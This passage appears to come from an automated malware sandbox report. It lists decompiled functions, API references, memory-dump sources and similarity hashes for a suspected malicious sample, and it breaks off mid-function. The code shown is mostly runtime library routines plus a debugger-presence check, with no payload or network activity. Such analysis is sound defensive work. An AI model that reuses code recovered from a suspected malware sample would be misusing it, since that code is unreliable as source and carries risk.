Instruction Fuzzy Hash: F1F0F673610006FAFB6C6AB9EC09FFF7F5EEB412A8F008126E929A1040D725654086B0

Uniqueness

Uniqueness Score: -1.00%

Function 01155179, Relevance: 1.5, APIs: 1, Instructions: 33
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 92%

			E01155179(void* __eflags) {
				void* _t8;
				intOrPtr _t11;
				intOrPtr _t12;
				signed int* _t14;
				void* _t18;
				void* _t20;
				void* _t21;

				_t20 = _t21;
				_t18 = E0114C25F();
				_t8 = E0114943A( *((intOrPtr*)(_t18 + 0x9c)));
				asm("sbb eax, eax");
				_t11 =  ~(_t8 - 3) + 1;
				 *((intOrPtr*)(_t18 + 0xac)) = _t11;
				if(_t11 == 0) {
					_t12 = E011551D2( *((intOrPtr*)(_t18 + 0x9c)));
				} else {
					_t12 = 2;
				}
				 *((intOrPtr*)(_t18 + 0xa8)) = _t12;
				EnumSystemLocalesW(E011553F1, 1);
				_t14 =  *(_t20 + 8);
				if(( *_t14 & 0x00000004) == 0) {
					 *_t14 =  *_t14 & 0x00000000;
					return _t14;
				}
				return _t14;
			}

0x0115517b
0x01155183
0x0115518a
0x01155195
0x01155197
0x01155198
0x0115519e
0x011551ab
0x011551a0
0x011551a2
0x011551a2
0x011551b8
0x011551be
0x011551c4
0x011551cb
0x011551cd
0x00000000
0x011551cd
0x011551d1

APIs

EnumSystemLocalesW.KERNEL32(011553F1,00000001,00000000,?,011556EA,0115FFC4,?,00000000,?,?,?,0114C87D,?,?,?), ref: 011551BE

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 92539b7d432ecd32f40c785df6e78c886d5df641c818efa59cee2a2466798f9e
Instruction ID: 5cad288abac288bf3ef00846c82a218136e7bcc4c75a8210ca34e2f2e4472cdc
Opcode Fuzzy Hash: 92539b7d432ecd32f40c785df6e78c886d5df641c818efa59cee2a2466798f9e
Instruction Fuzzy Hash: 31F0A771654306EFEBA96A78E844FD63F96DF12678F114415EC6D85091D77110408660

Uniqueness

Uniqueness Score: -1.00%

Function 011550BC, Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 87%

			E011550BC(void* __eflags, signed int* _a4) {
				void* _t6;
				signed int* _t11;
				void* _t14;

				_t14 = E0114C25F();
				_t6 = E0114943A( *((intOrPtr*)(_t14 + 0xa0)));
				asm("sbb eax, eax");
				 *((intOrPtr*)(_t14 + 0xb0)) =  ~(_t6 - 3) + 1;
				EnumSystemLocalesW(E0115500C, 1);
				_t11 = _a4;
				if(( *_t11 & 0x00000004) == 0) {
					 *_t11 =  *_t11 & 0x00000000;
					return _t11;
				}
				return _t11;
			}

0x011550c6
0x011550cd
0x011550d8
0x011550e2
0x011550e8
0x011550ee
0x011550f5
0x011550f7
0x00000000
0x011550f7
0x011550fb

APIs

EnumSystemLocalesW.KERNEL32(0115500C,00000001,00000000,?,01155741,0115FFC4,?,00000000,?,?,?,0114C87D,?,?,?), ref: 011550E8

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: be3bee22cf465e63cdbf1bd81bd93a1fe87da0cb6bd2eda3c96b057547a6ff66
Instruction ID: da9b2884ece7585a9cb99af6cffd5eb97c250c648f13c77a5b0c8f93e396d196
Opcode Fuzzy Hash: be3bee22cf465e63cdbf1bd81bd93a1fe87da0cb6bd2eda3c96b057547a6ff66
Instruction Fuzzy Hash: D5E0263151430ADFD7196A78D800BE67F89EF12A38F000101EE1986090C77158008291

Uniqueness

Uniqueness Score: -1.00%

Function 0114A9FD, Relevance: 1.5, APIs: 1, Instructions: 21
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E0114A9FD(void* __eflags) {
				int _t2;
				void* _t4;
				void* _t11;
				void* _t12;

				_t11 = _t12;
				_t2 = IsDebuggerPresent();
				_push(1);
				 *0x116ad9c = _t2;
				E011507BF(_t2);
				_t4 = E0115074A( *((intOrPtr*)(_t11 + 8)));
				if( *0x116ad9c == 0) {
					_push(1);
					E011507BF(_t4);
				}
				return E01150735(0xc0000409);
			}

0x0114a9ff
0x0114aa00
0x0114aa06
0x0114aa08
0x0114aa0d
0x0114aa15
0x0114aa23
0x0114aa25
0x0114aa27
0x0114aa2c
0x0114aa39

APIs

IsDebuggerPresent.KERNEL32(?,0114AB31,01160034,00000017), ref: 0114AA00

Part of subcall function 0115074A: SetUnhandledExceptionFilter.KERNEL32(00000000,?,0114B592,?,?,?,00000001), ref: 0115074F
Part of subcall function 0115074A: UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 01150758

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 472117f9078b07e7916c5292440b67d312c88b23aa7a17ad46d7927bea0b3cd5
Instruction ID: 01e4d56d4c1d6fe3726d6ad349b6686bed4b12221b391168f5168d21e8369b6d
Opcode Fuzzy Hash: 472117f9078b07e7916c5292440b67d312c88b23aa7a17ad46d7927bea0b3cd5
Instruction Fuzzy Hash: 26D0C232040B02EEEB5D27E0F807B583725DB1472EF100017FA281A0C1EBB324C04F00

Uniqueness

Uniqueness Score: -1.00%

Function 01150D02, Relevance: 1.5, APIs: 1, Instructions: 21
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E01150D02() {
				signed int _t5;
				signed int _t6;
				int _t8;
				void* _t10;
				void* _t11;

				_t10 = _t11;
				_t5 =  *0x116cbf8; // 0x37a57d44
				_t6 = _t5 ^  *0x1169060;
				if(_t6 == 0) {
					 *0x116b670 =  *(_t10 + 8);
					_t8 = EnumSystemLocalesW(E01150CEE, 1);
					 *0x116b670 =  *0x116b670 & 0x00000000;
					return _t8;
				} else {
					return  *_t6( *(_t10 + 8),  *((intOrPtr*)(_t10 + 0xc)),  *((intOrPtr*)(_t10 + 0x10)), 0);
				}
			}

0x01150d04
0x01150d05
0x01150d0a
0x01150d10
0x01150d2b
0x01150d30
0x01150d36
0x01150d3e
0x01150d12
0x01150d20
0x01150d20

APIs

EnumSystemLocalesW.KERNEL32(01150CEE,00000001,?,0115498C,01154A2A,00000003,00000000,?,?,00000000,00000000,00000000,00000000,00000000), ref: 01150D30

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 44b2510510d54a291cbf77ed5cadf91540b143c453ee3aeeca01ed4e86a66b97
Instruction ID: 1e16813dbdeb227386c0a902d61b1a732aac3c6fe1d4c102e3ce5e1ef1338ba3
Opcode Fuzzy Hash: 44b2510510d54a291cbf77ed5cadf91540b143c453ee3aeeca01ed4e86a66b97
Instruction Fuzzy Hash: 93E0463228020DEFDF298FE5EC41BA83BA9FB09364F048021F5388A464C773A4A09B54

Uniqueness

Uniqueness Score: -1.00%

Function 01150D3F, Relevance: 1.5, APIs: 1, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,20001004,00000000,0114C905,?,0114C905,00000000,20001004,?,00000002,?,00000004,?,00000000), ref: 01150D66

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 9dcf10def6084da973ba7d7f421168812c536ff0799d9e481c096b71ea83503a
Instruction ID: 0fbad29fcbc3f1a574ade5954b61de19745e0f805e218e101b0d5b01b543c1a4
Opcode Fuzzy Hash: 9dcf10def6084da973ba7d7f421168812c536ff0799d9e481c096b71ea83503a
Instruction Fuzzy Hash: 4DD0173200420DFFCF19AFE0E80986E3B69FB49314B048450FD3885125CB33A460DB60

Uniqueness

Uniqueness Score: -1.00%

Function 01150719, Relevance: 1.5, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01150719() {
				void* _t3;
				void* _t4;

				_t3 = _t4;
				return SetUnhandledExceptionFilter( *(_t3 + 8));
			}

0x0115071b
0x01150726

APIs

SetUnhandledExceptionFilter.KERNEL32(?,?,0114FAA6,0114FA5B), ref: 0115071F

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8aaa5e97173801a2077f848e53e7328c09d8ad32acdca14b0c60fc358481e52b
Instruction ID: e8785eee4eaab3003c717bab5670a02be5577743a800626d91e5608d18a50541
Opcode Fuzzy Hash: 8aaa5e97173801a2077f848e53e7328c09d8ad32acdca14b0c60fc358481e52b
Instruction Fuzzy Hash: 4DA0017618110DEBCB151A92FD498AA3F6DEA4B2EA7024062F45D448258723A5A29AA1

Uniqueness

Uniqueness Score: -1.00%

Function 003F380E, Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

Z#, xrefs: 003F3811

Memory Dump Source

Source File: 00000000.00000002.202006890.00000000003F0000.00000040.00000001.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_PHvqpLRfRl.jbxd

Yara matches

Similarity

API ID:
String ID: Z#
API String ID: 0-2750076499
Opcode ID: 48aefe013c6b0e285082495dbe214cf7901ff6248647a73da0f804c683cf7bf0
Instruction ID: 3117377925cb0d489d30c103ff352253b9f4b6658dfbb895649a43258cacaf38
Opcode Fuzzy Hash: 48aefe013c6b0e285082495dbe214cf7901ff6248647a73da0f804c683cf7bf0
Instruction Fuzzy Hash: 574177B1A087059FC308EF64C94512AB7E1BFD5724F408C2DE5DA8B264D7B8991A8F82

Uniqueness

Uniqueness Score: -1.00%

Function 003F59DE, Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

G, xrefs: 003F5A1E

Memory Dump Source

Source File: 00000000.00000002.202006890.00000000003F0000.00000040.00000001.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_PHvqpLRfRl.jbxd

Yara matches

Similarity

API ID:
String ID: G
API String ID: 0-2152773504
Opcode ID: 5eefff4cf2e22a7b35d1d0869e14a7a0ca1d29622391eb98c12b28d1863400ce
Instruction ID: e9c6c46fed50dccdb12c4eaa9d17af6354f23923458684dc455055199cc4671b
Opcode Fuzzy Hash: 5eefff4cf2e22a7b35d1d0869e14a7a0ca1d29622391eb98c12b28d1863400ce
Instruction Fuzzy Hash: B64102B150839A8BD715DF14E18842BBBE0FF80714F404E5EF5A19A251E3B4DA5CCBA3

Uniqueness

Uniqueness Score: -1.00%

Function 0114D5D3, Relevance: 1.3, APIs: 1, Instructions: 7
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0114D5D3() {
				void* _t3;

				_t3 = GetProcessHeap();
				 *0x116ae04 = _t3;
				return 0 | _t3 != 0x00000000;
			}

0x0114d5d3
0x0114d5db
0x0114d5e7

APIs

GetProcessHeap.KERNEL32(0114A6AE,01167410,00000014), ref: 0114D5D3

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: c8b401813f6efe04cf9508ff5a0349ce4abfd3fb30ee972fc0ff2162d82425a1
Instruction ID: 766c4d335a47a24ce315ef3ff4d5c7991005581f8513c48a8efb0236f7ba90b7
Opcode Fuzzy Hash: c8b401813f6efe04cf9508ff5a0349ce4abfd3fb30ee972fc0ff2162d82425a1
Instruction Fuzzy Hash: B8B012B13022038B471C0E3C7A1811E39946700301314403DB023C3118EF20C8A0DB40

Uniqueness

Uniqueness Score: -1.00%

Function 011572CB, Relevance: .6, Instructions: 581
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 79%

			E011572CB(signed short* _a4, signed int* _a8) {
				signed int _v8;
				signed int _v12;
				signed short _v16;
				signed int _v20;
				char _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				int _v48;
				signed char _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int* _v68;
				signed int _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t240;
				signed int _t242;
				intOrPtr _t248;
				signed int _t249;
				signed int _t253;
				signed int _t256;
				void* _t257;
				void* _t259;
				void* _t262;
				signed int _t263;
				signed int _t267;
				void* _t270;
				intOrPtr _t275;
				void* _t277;
				void* _t283;
				signed int _t284;
				signed int _t285;
				signed int _t288;
				signed int _t295;
				signed int _t296;
				void* _t299;
				signed int _t300;
				signed int _t301;
				signed int _t306;
				void* _t307;
				void* _t308;
				signed int _t312;
				signed int _t313;
				signed int _t318;
				signed int _t319;
				signed int _t323;
				intOrPtr _t332;
				signed int _t333;
				signed int _t334;
				signed int _t335;
				signed int _t347;
				intOrPtr _t351;
				signed int _t352;
				intOrPtr _t353;
				intOrPtr _t354;
				signed int _t357;
				signed int _t360;
				signed int _t361;
				intOrPtr _t362;
				signed int _t366;
				signed short* _t367;
				signed int _t368;
				signed int _t369;
				signed char _t370;
				signed int _t371;
				signed int _t372;
				signed char _t373;
				signed int _t376;
				signed int _t382;
				signed char _t383;
				signed int _t385;
				signed char _t388;
				signed char _t389;
				signed int _t391;
				signed int _t393;
				signed int _t394;
				signed char _t395;
				signed int _t396;
				signed int _t397;
				signed char _t398;
				void* _t399;
				signed int _t400;
				signed char _t401;
				signed int _t404;
				signed int _t408;
				signed int _t410;
				signed int _t412;
				void* _t418;
				signed int _t419;
				signed int _t421;
				signed int _t424;
				signed int _t425;
				signed int _t432;
				signed int _t435;
				signed int _t436;
				signed int _t438;
				signed int* _t442;
				unsigned int _t444;
				signed int _t446;
				intOrPtr* _t448;
				signed int _t449;
				unsigned int _t451;
				signed int _t455;
				signed int _t458;
				signed int _t459;
				unsigned int _t461;
				signed int* _t465;
				signed int _t468;
				signed int _t469;
				signed int _t472;
				signed int _t473;
				signed int* _t475;
				signed int _t476;
				signed int _t477;
				signed int _t479;
				signed int _t480;
				intOrPtr _t481;
				signed int _t482;
				signed int _t485;
				signed int _t486;
				signed int _t488;
				signed int _t489;
				signed int _t491;
				void* _t493;
				signed int _t495;
				signed int _t496;
				void* _t505;
				signed int _t510;
				signed char _t511;
				void* _t512;
				intOrPtr _t513;
				signed int _t515;
				signed int _t516;
				signed int _t519;
				intOrPtr _t520;
				signed int _t521;
				intOrPtr _t522;
				void* _t524;
				signed int _t525;
				signed int _t526;
				void* _t527;

				_t240 =  *0x1169060; // 0x43153b94
				_v8 = _t240 ^ _t526;
				_t367 = _a4;
				_t242 = _t367[5] & 0x0000ffff;
				_t360 = 0;
				_t475 = _a8;
				_v68 = _t475;
				_v72 = _t242 & 0x00008000;
				_t432 = (_t242 & 0x00007fff) - 0x3fff;
				_v20 = _t367[3];
				_v16 = _t367[1];
				_v36 = _t432;
				_v12 = ( *_t367 & 0x0000ffff) << 0x10;
				if(_t432 != 0xffffc001) {
					_t248 =  *0x1169f40; // 0x35
					_t476 =  &_v32;
					_v40 = _t432;
					asm("movsd");
					_t249 = _t248 - 1;
					_v56 = _t249;
					_v48 = 0;
					asm("movsd");
					_t22 = _t249 + 1; // 0x35
					_t368 = _t22;
					asm("cdq");
					asm("movsd");
					_t510 = 0x1f;
					_t435 = (_t432 & _t510) + _t368 >> 5;
					_v64 = _t435;
					_t369 = _t368 & 0x8000001f;
					__eflags = _t369;
					if(_t369 < 0) {
						_t369 = (_t369 - 0x00000001 | 0xffffffe0) + 1;
						__eflags = _t369;
					}
					_t511 = _t510 - _t369;
					_v52 = _t511;
					_t370 = _t511;
					_t477 = _t476 | 0xffffffff;
					_t253 = 1 << _t370;
					_t512 = 3;
					__eflags =  *(_t526 + _t435 * 4 - 0x10) & _t253;
					if(( *(_t526 + _t435 * 4 - 0x10) & _t253) == 0) {
						L29:
						 *(_t526 + _t435 * 4 - 0x10) =  *(_t526 + _t435 * 4 - 0x10) & _t477 << _t370;
						_t71 = _t435 + 1; // 0x11559ed
						_t256 = _t71;
						__eflags = _t256 - _t512;
						if(_t256 < _t512) {
							_t418 = _t512;
							_t505 =  &(( &_v20)[_t256]);
							_t419 = _t418 - _t256;
							memset(_t505, 0, _t419 << 2);
							_t527 = _t527 + 0xc;
							_t477 = _t505 + _t419 | 0xffffffff;
							__eflags = _t477;
						}
						_t371 = _v36;
						__eflags = _v48 - _t360;
						if(_v48 != _t360) {
							_t371 = _t371 + 1;
							__eflags = _t371;
						}
						_t436 =  *0x1169f3c; // 0xfffffc01
						_t257 = _t436;
						__eflags = _t371 - _t257 -  *0x1169f40;
						if(_t371 >= _t257 -  *0x1169f40) {
							__eflags = _t371 - _t436;
							if(_t371 > _t436) {
								__eflags = _t371 -  *0x1169f38; // 0x400
								if(__eflags < 0) {
									_t513 =  *0x1169f4c; // 0x3ff
									_v20 = _v20 & 0x7fffffff;
									_t372 =  *0x1169f44; // 0xb
									_t259 = _t372;
									asm("cdq");
									_v60 = _t513 + _t371;
									_v44 = _t259 + (_t436 & 0x0000001f) >> 5;
									_t373 = _t372 & 0x8000001f;
									__eflags = _t373;
									if(_t373 < 0) {
										_t373 = (_t373 - 0x00000001 | 0xffffffe0) + 1;
										__eflags = _t373;
									}
									_v36 = _t360;
									_t515 = _t360;
									_t361 = _t373;
									_t262 = 0x20;
									_t263 = _t262 - _t361;
									__eflags = _t263;
									_v40 = _t373;
									_t479 =  !(_t477 << _t373);
									_v40 = _t263;
									do {
										_t438 =  *(_t526 + _t515 * 4 - 0x10);
										 *(_t526 + _t515 * 4 - 0x10) = _t438 >> _t361 | _v36;
										_t515 = _t515 + 1;
										_v36 = (_t438 & _t479) << _v40;
										__eflags = _t515 - 3;
									} while (_t515 < 3);
									_t480 = _v44;
									_t516 = _v60;
									_t267 = _t480;
									_t442 =  &_v12 - (_t267 << 2);
									_t360 = 0;
									__eflags = 0;
									_t376 = 2;
									do {
										__eflags = _t376 - _t480;
										if(_t376 < _t480) {
											 *(_t526 + _t376 * 4 - 0x10) = _t360;
										} else {
											 *(_t526 + _t376 * 4 - 0x10) =  *_t442;
										}
										_t442 = _t442 - 4;
										_t376 = _t376 - 1;
										__eflags = _t376;
									} while (_t376 >= 0);
									goto L100;
								}
								_t382 =  *0x1169f44; // 0xb
								_t482 =  &_v20;
								asm("stosd");
								asm("stosd");
								asm("stosd");
								_v20 = _v20 | 0x80000000;
								asm("cdq");
								_v56 = _t382 + (_t436 & 0x0000001f) >> 5;
								_t383 = _t382 & 0x8000001f;
								__eflags = _t383;
								if(_t383 < 0) {
									_t383 = (_t383 - 0x00000001 | 0xffffffe0) + 1;
									__eflags = _t383;
								}
								_v60 = _t383;
								_t283 = 0x20;
								_t284 = _t283 - _t383;
								__eflags = _t284;
								_v36 = _t360;
								_t485 =  !((_t482 | 0xffffffff) << _t383);
								_v44 = _t284;
								do {
									_t444 =  *(_t526 + _t360 * 4 - 0x10);
									_t285 = _t444;
									_t446 = _t444 >> _t383 | _v36;
									_t383 = _v60;
									 *(_t526 + _t360 * 4 - 0x10) = _t446;
									_t360 = _t360 + 1;
									_v36 = (_t285 & _t485) << _v44;
									__eflags = _t360 - _t512;
								} while (_t360 < _t512);
								_t521 = _v56;
								_t288 = _t521;
								_t448 =  &_v12 - (_t288 << 2);
								__eflags = 0;
								_t385 = 2;
								do {
									__eflags = _t385 - _t521;
									if(_t385 < _t521) {
										 *((intOrPtr*)(_t526 + _t385 * 4 - 0x10)) = 0;
									} else {
										 *((intOrPtr*)(_t526 + _t385 * 4 - 0x10)) =  *_t448;
									}
									_t448 = _t448 - 4;
									_t385 = _t385 - 1;
									__eflags = _t385;
								} while (_t385 >= 0);
								_t522 =  *0x1169f4c; // 0x3ff
								_t516 = _t522 +  *0x1169f38;
								_t360 = 1;
								goto L100;
							}
							_t449 = _t436 - _v40;
							_v52 = _t449;
							_t486 =  &_v20;
							asm("movsd");
							asm("cdq");
							asm("movsd");
							_v64 = _t449 + (_t449 & 0x0000001f) >> 5;
							asm("movsd");
							_t295 = _v52 & 0x8000001f;
							__eflags = _t295;
							if(_t295 < 0) {
								_t295 = (_t295 - 0x00000001 | 0xffffffe0) + 1;
								__eflags = _t295;
							}
							_v52 = _t295;
							_t296 = _t486 | 0xffffffff;
							_v36 = _t360;
							_t488 = _v52;
							_t388 = _t488;
							_v44 =  !(_t296 << _t388);
							_t299 = 0x20;
							_t300 = _t299 - _t488;
							__eflags = _t300;
							_v60 = _t300;
							_t524 = 3;
							do {
								_t451 =  *(_t526 + _t360 * 4 - 0x10);
								_t389 = _t488;
								_t301 = _t451;
								 *(_t526 + _t360 * 4 - 0x10) = _t451 >> _t389 | _v36;
								_t360 = _t360 + 1;
								_v36 = (_t301 & _v44) << _v60;
								__eflags = _t360 - _t524;
							} while (_t360 < _t524);
							_t455 =  &_v12 - (_v64 << 2);
							_t489 = _t488 | 0xffffffff;
							__eflags = _t489;
							_t306 = _v64;
							_t391 = 2;
							do {
								__eflags = _t391 - _t306;
								if(_t391 < _t306) {
									 *((intOrPtr*)(_t526 + _t391 * 4 - 0x10)) = 0;
								} else {
									 *((intOrPtr*)(_t526 + _t391 * 4 - 0x10)) =  *_t455;
									_t306 = _v64;
								}
								_t455 = _t455 - 4;
								_t391 = _t391 - 1;
								__eflags = _t391;
							} while (_t391 >= 0);
							_t393 = _v56 + 1;
							_t307 = _t393;
							asm("cdq");
							_t458 = (_t455 & 0x0000001f) + _t307 >> 5;
							_v48 = _t458;
							_t394 = _t393 & 0x8000001f;
							__eflags = _t394;
							if(_t394 < 0) {
								_t394 = (_t394 - 0x00000001 | 0xffffffe0) + 1;
								__eflags = _t394;
							}
							_t308 = 0x1f;
							_v52 = _t308 - _t394;
							_t395 = _v52;
							_t312 = 1 << _t395;
							__eflags =  *(_t526 + _t458 * 4 - 0x10) & _t312;
							if(( *(_t526 + _t458 * 4 - 0x10) & _t312) == 0) {
								L68:
								_t313 = _t489;
								 *(_t526 + _t458 * 4 - 0x10) =  *(_t526 + _t458 * 4 - 0x10) & _t313 << _t395;
								_t459 = _t458 + 1;
								__eflags = _t459 - _t524;
								if(_t459 < _t524) {
									_t493 =  &(( &_v20)[_t459]);
									_t408 = _t524 - _t459;
									memset(_t493, 0, _t408 << 2);
									_t489 = _t493 + _t408 | 0xffffffff;
									__eflags = _t489;
								}
								_t396 =  *0x1169f44; // 0xb
								_t397 = _t396 + 1;
								asm("cdq");
								_v44 = _t397 + (_t459 & 0x0000001f) >> 5;
								_t398 = _t397 & 0x8000001f;
								__eflags = _t398;
								if(_t398 < 0) {
									_t398 = (_t398 - 0x00000001 | 0xffffffe0) + 1;
									__eflags = _t398;
								}
								_v40 = _t398;
								_push(0);
								_pop(_t318);
								_v36 = 0;
								_t491 =  !(_t489 << _t398);
								_t366 = _v40;
								_t399 = 0x20;
								_t400 = _t399 - _t366;
								__eflags = _t400;
								_v56 = _t318;
								_v40 = _t400;
								do {
									_t461 =  *(_t526 + _t318 * 4 - 0x10);
									_t401 = _t366;
									_t319 = _t461;
									 *(_t526 + _v56 * 4 - 0x10) = _t461 >> _t401 | _v36;
									_v36 = (_t319 & _t491) << _v40;
									_t318 = _v56 + 1;
									_v56 = _t318;
									__eflags = _t318 - _t524;
								} while (_t318 < _t524);
								_t525 = _v44;
								_t323 = _t525;
								_t465 =  &_v12 - (_t323 << 2);
								_t360 = 0;
								__eflags = 0;
								_t404 = 2;
								do {
									__eflags = _t404 - _t525;
									if(_t404 < _t525) {
										 *(_t526 + _t404 * 4 - 0x10) = _t360;
									} else {
										 *(_t526 + _t404 * 4 - 0x10) =  *_t465;
									}
									_t465 = _t465 - 4;
									_t404 = _t404 - 1;
									__eflags = _t404;
								} while (_t404 >= 0);
								goto L35;
							} else {
								__eflags =  *(_t526 + _t458 * 4 - 0x10) &  !(_t489 << _t395);
								while(__eflags == 0) {
									_t458 = _t458 + 1;
									__eflags = _t458 - _t524;
									if(_t458 < _t524) {
										__eflags =  *(_t526 + _t458 * 4 - 0x10);
										continue;
									}
									L67:
									_t458 = _v48;
									goto L68;
								}
								_t495 = _v56;
								asm("cdq");
								_t410 = 0x1f;
								_t468 = (_t458 & _t410) + _t495 >> 5;
								_t496 = _t495 & 0x8000001f;
								__eflags = _t496;
								if(_t496 < 0) {
									_t496 = (_t496 - 0x00000001 | 0xffffffe0) + 1;
									__eflags = _t496;
								}
								_t332 =  *((intOrPtr*)(_t526 + _t468 * 4 - 0x10));
								_push(0);
								_pop(_t412);
								_v40 = 1;
								_v36 = 1;
								__eflags = (1 << _t410 - _t496) + _t332 - _t332;
								_t333 = _v36;
								_t489 = 0xffffffff;
								if((1 << _t410 - _t496) + _t332 < _t332) {
									L58:
									_t412 = 1;
									__eflags = 1;
									goto L59;
								} else {
									__eflags = _t333 - _v40;
									if(_t333 >= _v40) {
										L59:
										 *((intOrPtr*)(_t526 + _t468 * 4 - 0x10)) = _t333;
										_t469 = _t468 - 1;
										__eflags = _t469;
										if(_t469 < 0) {
											L66:
											_t395 = _v52;
											goto L67;
										} else {
											goto L60;
										}
										while(1) {
											L60:
											__eflags = _t412;
											if(_t412 == 0) {
												break;
											}
											_t334 =  *(_t526 + _t469 * 4 - 0x10);
											_push(0);
											_pop(_t412);
											_t489 = _t334 + 1;
											__eflags = _t489 - _t334;
											_v36 = _t489;
											_t335 = _t489;
											if(_t489 < _t334) {
												L63:
												_t412 = 1;
												__eflags = 1;
												L64:
												 *(_t526 + _t469 * 4 - 0x10) = _t335;
												_t469 = _t469 - 1;
												__eflags = _t469;
												if(_t469 >= 0) {
													continue;
												}
												break;
											}
											__eflags = _t335 - 1;
											if(_t335 >= 1) {
												goto L64;
											}
											goto L63;
										}
										_t489 = _t489 | 0xffffffff;
										__eflags = _t489;
										goto L66;
									}
									goto L58;
								}
							}
						} else {
							asm("stosd");
							asm("stosd");
							asm("stosd");
							L35:
							_t516 = _t360;
							L6:
							_t360 = 2;
							L100:
							_t475 = _v68;
							L101:
							_t270 = 0x1f;
							asm("sbb eax, eax");
							_t275 =  *0x1169f48; // 0x40
							_t519 = _t516 << _t270 -  *0x1169f44 |  ~_v72 & 0x80000000 | _v20;
							if(_t275 != 0x40) {
								__eflags = _t275 - 0x20;
								if(_t275 == 0x20) {
